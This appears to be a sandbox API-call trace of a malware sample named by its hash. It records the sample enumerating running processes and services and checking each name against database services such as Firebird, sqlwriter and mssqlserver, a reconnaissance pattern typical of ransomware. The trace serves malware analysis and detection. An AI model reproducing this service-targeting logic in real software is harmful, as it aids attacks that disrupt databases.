	[0093.537] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0093.538] lstrlenW (lpString="spcwin.exe") returned 10
	[0093.538] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0093.539] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0093.539] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0093.539] lstrlenW (lpString="utg2.exe") returned 8
	[0093.539] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0093.540] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0093.540] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0093.541] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0093.541] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0093.542] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0093.542] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0093.542] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0093.542] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0093.543] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0093.543] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0093.544] lstrlenW (lpString="taskhostw.exe") returned 13
	[0093.544] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0093.773] lstrlenW (lpString="taskhostw.exe") returned 13
	[0093.773] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0093.774] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0093.774] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0093.774] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0093.774] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0093.775] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0093.775] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0093.776] lstrlenW (lpString="UsoClient.exe") returned 13
	[0093.776] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0093.776] lstrlenW (lpString="conhost.exe") returned 11
	[0093.776] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0093.777] lstrlenW (lpString="conhost.exe") returned 11
	[0093.777] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.778] lstrlenW (lpString="svchost.exe") returned 11
	[0093.778] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0093.778] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0093.778] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.779] lstrlenW (lpString="svchost.exe") returned 11
	[0093.779] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x13a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0093.780] lstrlenW (lpString="cmd.exe") returned 7
	[0093.780] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0093.780] lstrlenW (lpString="conhost.exe") returned 11
	[0093.781] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0093.781] lstrlenW (lpString="dllhost.exe") returned 11
	[0093.781] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x10cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0093.782] lstrlenW (lpString="mode.com") returned 8
	[0093.782] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0093.782] lstrlenW (lpString="TrustedInstaller.exe") returned 20
	[0093.782] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0093.783] lstrlenW (lpString="LogonUI.exe") returned 11
	[0093.783] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0093.783] CloseHandle (hObject=0x390) returned 1
	[0093.783] Sleep (dwMilliseconds=0x1f4) 
	[0094.698] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x53ef68
	[0094.699] EnumServicesStatusExW (in: hSCManager=0x53ef68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0094.699] GetLastError () returned 0xea
	[0094.699] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1ddc) returned 0x3199750
	[0094.699] EnumServicesStatusExW (in: hSCManager=0x53ef68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3199750, cbBufSize=0x1ddc, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3199750, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0094.700] CloseServiceHandle (hSCObject=0x53ef68) returned 1
	[0094.700] lstrlenW (lpString="Appinfo") returned 7
	[0094.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0094.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0094.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0094.700] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0094.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0094.700] lstrlenW (lpString="AppXSvc") returned 7
	[0094.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0094.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0094.701] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0094.701] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0094.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0094.701] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0094.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0094.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0094.701] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0094.701] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0094.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0094.701] lstrlenW (lpString="Audiosrv") returned 8
	[0094.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0094.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0094.701] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0094.701] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0094.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0094.701] lstrlenW (lpString="BFE") returned 3
	[0094.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0094.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0094.701] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0094.701] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0094.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0094.701] lstrlenW (lpString="BITS") returned 4
	[0094.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0094.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0094.701] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0094.701] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0094.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0094.701] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0094.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0094.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0094.701] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0094.701] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0094.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0094.702] lstrlenW (lpString="CDPSvc") returned 6
	[0094.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0094.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0094.702] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0094.702] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0094.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0094.702] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0094.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0094.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0094.702] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0094.702] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0094.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0094.702] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0094.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0094.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0094.702] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0094.702] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0094.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0094.702] lstrlenW (lpString="CryptSvc") returned 8
	[0094.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0094.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0094.702] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0094.702] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0094.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0094.702] lstrlenW (lpString="DcomLaunch") returned 10
	[0094.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0094.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0094.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0094.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0094.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0094.702] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0094.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0094.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0094.703] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0094.703] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0094.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0094.703] lstrlenW (lpString="Dhcp") returned 4
	[0094.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0094.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0094.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0094.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0094.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0094.703] lstrlenW (lpString="Dnscache") returned 8
	[0094.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0094.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0094.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0094.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0094.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0094.703] lstrlenW (lpString="DoSvc") returned 5
	[0094.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0094.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0094.703] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0094.703] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0094.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0094.703] lstrlenW (lpString="DPS") returned 3
	[0094.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0094.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0094.703] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0094.703] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0094.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0094.703] lstrlenW (lpString="DusmSvc") returned 7
	[0094.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0094.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0094.703] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0094.703] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0094.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0094.703] lstrlenW (lpString="EventLog") returned 8
	[0094.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0094.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0094.704] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0094.704] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0094.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0094.704] lstrlenW (lpString="EventSystem") returned 11
	[0094.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0094.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0094.704] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0094.704] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0094.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0094.704] lstrlenW (lpString="FontCache") returned 9
	[0094.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0094.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0094.704] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0094.704] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0094.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0094.704] lstrlenW (lpString="gpsvc") returned 5
	[0094.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0094.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0094.704] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0094.704] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0094.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0094.704] lstrlenW (lpString="iphlpsvc") returned 8
	[0094.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0094.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0094.704] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0094.704] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0094.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0094.704] lstrlenW (lpString="KeyIso") returned 6
	[0094.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0094.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0094.704] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0094.704] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0094.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0094.705] lstrlenW (lpString="LanmanServer") returned 12
	[0094.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0094.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0094.705] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0094.705] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0094.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0094.705] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0094.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0094.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0094.705] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0094.705] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0094.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0094.705] lstrlenW (lpString="lfsvc") returned 5
	[0094.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0094.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0094.705] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0094.705] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0094.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0094.705] lstrlenW (lpString="lmhosts") returned 7
	[0094.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0094.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0094.705] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0094.705] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0094.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0094.705] lstrlenW (lpString="LSM") returned 3
	[0094.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0094.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0094.705] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0094.705] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0094.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0094.705] lstrlenW (lpString="MapsBroker") returned 10
	[0094.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0094.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0094.705] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0094.705] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0094.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0094.706] lstrlenW (lpString="MpsSvc") returned 6
	[0094.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0094.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0094.706] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0094.706] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0094.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0094.706] lstrlenW (lpString="NcbService") returned 10
	[0094.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0094.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
